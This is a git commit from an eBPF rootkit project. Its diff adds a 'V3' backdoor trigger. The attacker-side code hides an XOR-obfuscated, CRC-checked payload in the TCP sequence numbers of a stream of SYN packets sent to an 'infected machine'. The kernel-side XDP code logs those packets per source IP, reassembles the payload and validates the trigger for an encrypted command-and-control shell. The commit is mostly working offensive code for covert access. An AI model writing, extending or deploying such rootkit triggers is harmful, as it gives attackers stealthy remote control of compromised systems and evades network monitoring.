Completed new backdoor packet stream parsing for V3 backdoor using hidden payloads in TCP and IP header positions

This commit is contained in:
h3xduck
2022-05-09 16:36:39 -04:00
parent ba19537ec1
commit 073e1d3129
10 changed files with 2591 additions and 1814 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -318,12 +318,10 @@ void activate_command_control_shell_encrypted_multi_packet(char* argv){
printf("["KBLU"INFO"RESET"]""Crafting malicious packet stream...\n");
//Stream of 3 packets, 4 bytes on each if using sequence numbers for hiding the payload
const int PAYLOAD_LEN = 12;
const int STREAM_PACKET_CAPACITY_BYTES = 4;
stream_t stream = build_standard_packet_stream_empty_payload(PAYLOAD_LEN/STREAM_PACKET_CAPACITY_BYTES, 8000, 9000, local_ip, argv);
char *payload = calloc(PAYLOAD_LEN, sizeof(char));
stream_t stream = build_standard_packet_stream_empty_payload(CC_STREAM_TRIGGER_PAYLOAD_LEN/CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES, 8000, 9000, local_ip, argv);
char *payload = calloc(CC_STREAM_TRIGGER_PAYLOAD_LEN, sizeof(char));
srand(time(NULL));
for(int ii=0; ii<PAYLOAD_LEN; ii++){
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
payload[ii] = (char)rand();
}
inet_pton(AF_INET, argv, (void*)(payload+0x01));
@@ -337,13 +335,29 @@ void activate_command_control_shell_encrypted_multi_packet(char* argv){
strncpy(payload+0x08, result, 0x02);
uint16_t crc = crc16(payload, 10);
strncpy(payload+0x0A, (char*)&crc, 0x02);
printf("Payload before XOR: ");
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
printf("%x ", payload[ii]);
}
printf("\n");
//Rolling xor
for(int ii=1; ii<PAYLOAD_LEN; ii++){
for(int ii=1; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
char xor_res = payload[ii-1] ^ payload[ii];
strncpy(payload+ii, (char*)&(xor_res), 0x01);
}
stream_inject(stream, TYPE_TCP_SEQ_RAW, payload, 0x0C);
printf("Payload after XOR: ");
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
printf("%x", payload[ii]);
}
printf("\n");
//SYN packets
for(int ii=0; ii<stream.stream_length; ii++){
set_TCP_flags(*(stream.packet_stream+ii*(sizeof(packet_t))), 0x02);
}
//Injecting payload in the stream
stream_inject(stream, TYPE_TCP_SEQ_RAW, payload, CC_STREAM_TRIGGER_PAYLOAD_LEN);
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
//Sending the malicious stream of packets with the hidden payload

Binary file not shown.

Binary file not shown.

View File

@@ -27,13 +27,10 @@
//C&C V3 -- Distributed hidden payload in packet stream
struct trigger_t {
unsigned char xor_key;
unsigned int ip;
short unsigned int port;
unsigned char pad1;
short unsigned int pad2;
short unsigned int crc;
unsigned int seq_raw;
};
#define CC_STREAM_TRIGGER_PAYLOAD_LEN 12
#define CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES 4
#define CC_STREAM_TRIGGER_KEY_ENCRYPTED_SHELL "\x2C\x82"

View File

@@ -2,6 +2,7 @@
#define __BPF_MAP_DEFS_H
#include "headervmlinux.h"
#include "../../../common/c&c.h"
//Tasks and comms
#define TASK_COMM_LEN 16
@@ -32,6 +33,12 @@ struct exec_var_hijack_active_data{//Map value
char argv0[EXEC_VAR_HIJACK_ACTIVE_DATA_ARGV0_LEN];
};
//Map value, contains 3 last packets from an specific IP (the key)
struct backdoor_packet_log_data{
int last_packet_modified;
struct trigger_t trigger_array[3];
};
struct fs_priv_open{ //Map
__uint(type, BPF_MAP_TYPE_HASH);
@@ -47,6 +54,14 @@ struct exec_var_priv_hijack_active{ //Map
__type(value, struct exec_var_hijack_active_data);
} exec_var_hijack_active SEC(".maps");
//Map to store log of packets received seeking to find a V3 backdoor trigger
struct backdoor_priv_packet_log{
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 1024);
__type(key, __u32); //Source IPv4 of packet
__type(value, struct backdoor_packet_log_data);
} backdoor_packet_log SEC(".maps");
/*PROTECTED MAPS*/
//Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted

View File

@@ -9,6 +9,7 @@
#include "../data/ring_buffer.h"
#include "../../common/c&c.h"
#include "../bpf/defs.h"
static __always_inline int manage_backdoor_trigger_v1(char* payload, __u32 payload_size){
char section[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
@@ -132,9 +133,99 @@ backdoor_finish:
return XDP_DROP;
}
static __always_inline int manage_backdoor_trigger_v3(struct backdoor_packet_log_data b_data){
int last_received = b_data.last_packet_modified;
int first_packet;
if(last_received>0&&last_received<3){
first_packet = last_received-1;
}else{
first_packet = (CC_STREAM_TRIGGER_PAYLOAD_LEN / CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES) -1;
}
//The following routine (not just the next check) is necessarily dirty in terms of programming,
//but the ebpf verifier strongly dislikes MOD operations (check report, screenshot)
char payload[CC_STREAM_TRIGGER_PAYLOAD_LEN] = {0};
if(first_packet == 1){
for(int ii=first_packet; ii<3; ii++){
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
}
for(int ii=0; ii<first_packet; ii++){
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
}
}else if(first_packet == 2){
for(int ii=first_packet; ii<3; ii++){
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
}
for(int ii=0; ii<first_packet; ii++){
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
}
}else if(first_packet == 3){
for(int ii=first_packet; ii<3; ii++){
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
}
for(int ii=0; ii<first_packet; ii++){
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
}
}
bpf_printk("Payload before XOR: ");
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
bpf_printk("%x", payload[ii]);
}
bpf_printk("\n");
//Now that we have the possible complete stream, let's search for the secret backdoor combination in it
//First undo running XOR
for(int ii=CC_STREAM_TRIGGER_PAYLOAD_LEN-1; ii>0; ii--){
char xor_res = payload[ii-1] ^ payload[ii];
__builtin_memcpy(payload+ii, (char*)&(xor_res), 0x01);
}
bpf_printk("Payload after XOR: ");
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
bpf_printk("%x", payload[ii]);
}
bpf_printk("\n");
//Now compute CRC
__u8 x;
__u16 crc = 0xFFFF;
__u8 length = 0x0A;
char *payload_p = payload;
while (length--){
x = crc >> 8 ^ *payload_p++;
x ^= x>>4;
crc = (crc << 8) ^ ((__u16)(x << 12)) ^ ((__u16)(x <<5)) ^ ((__u16)x);
}
//Check CRC with the one received
char crc_char1, crc_char2;
__builtin_memcpy(&crc_char1, (char*)&(crc), sizeof(__u8));
__builtin_memcpy(&crc_char2, (char*)&(crc)+1, sizeof(__u8));
if(crc_char1 != payload[0x0A]){
bpf_printk("Failed backdoor V3 check 1: %x vs %x\n", crc_char1, payload[0x0A]);
return XDP_PASS;
}
if(crc_char2 != payload[0x0B]){
bpf_printk("Failed backdoor V3 check 2: %x vs %x\n", crc_char2, payload[0x0B]);
return XDP_PASS;
}
bpf_printk("Completed backdoor trigger v3, b_data position: %i\n", b_data.last_packet_modified);
return XDP_DROP;
}
#endif

View File

@@ -106,9 +106,54 @@ int xdp_receive(struct xdp_md *ctx){
}
return manage_backdoor_trigger_v1(payload, payload_size);
}
//Check for rootkit backdoor trigger V3 - stream of SYN packets with hidden payload
if(tcp->syn == 1){
//SYN packet detected, store in bpf map.
//When a full stream comes, then it will be analyzed and search whether it is a valid sequence
//Known issue, ignored dliberately: IP sending packets to different ports classified as same communication
//This way we may include some port-knocking like mechanism.
bpf_printk("SYN detected");
__u32 ipvalue = ip->saddr;
struct backdoor_packet_log_data *b_data = (struct backdoor_packet_log_data*) bpf_map_lookup_elem(&backdoor_packet_log, &ipvalue);
struct backdoor_packet_log_data b_new_data = {0};
if (b_data != NULL ){
//Means first time this IP sends a packet to us
//It is always between the below range, this is just to avoid verifier complains
if(b_data->last_packet_modified>-1 && b_data->last_packet_modified<CC_STREAM_TRIGGER_PAYLOAD_LEN/CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES){
b_new_data.last_packet_modified = b_data->last_packet_modified;
//Necessary complicated MOD, the verifier rejects it otherwise
b_new_data.last_packet_modified++;
if(b_new_data.last_packet_modified>=3){
b_new_data.last_packet_modified = 0;
}
b_new_data.trigger_array[0] = b_data->trigger_array[0];
b_new_data.trigger_array[1] = b_data->trigger_array[1];
b_new_data.trigger_array[2] = b_data->trigger_array[2];
//bpf_probe_read(&b_new_data, sizeof(struct backdoor_packet_log_data), b_data);
int last_modified = b_new_data.last_packet_modified;
//Yes, this is really needed to be done this way. Intervals are no sufficient
if(last_modified != 0 && last_modified != 1 && last_modified != 2){
return XDP_PASS;
}
b_new_data.trigger_array[last_modified].seq_raw = tcp->seq;
bpf_map_update_elem(&backdoor_packet_log, &ipvalue, &b_new_data, BPF_ANY);
//If it was not the first packet received, this may be the end of the backdoor sequence (even if previous packets
//where for other purpose, we must still check it)
return manage_backdoor_trigger_v3(b_new_data);
}
}else{
//Done this way to avoid verifier complains
int num = 0;
//bpf_probe_read((void*)&(b_new_data->last_packet_modified), sizeof(__u32), (void*)&num);
//bpf_probe_read(&(b_new_data->trigger_array[0].seq_raw), sizeof(__u32), &(tcp->seq));
b_new_data.last_packet_modified = 0;
b_new_data.trigger_array[0].seq_raw = tcp->seq;
bpf_map_update_elem(&backdoor_packet_log, &ipvalue, &b_new_data, BPF_ANY);
}
}
//Check for the packet modification PoC
// We use "size - 1" to account for the final '\0'
else if (payload_size != sizeof(SECRET_PACKET_PAYLOAD)-1) {
if (payload_size != sizeof(SECRET_PACKET_PAYLOAD)-1) {
bpf_printk("F, PS:%i, P:%i, DE:%i\n", payload_size, payload, data_end);
return XDP_PASS;
}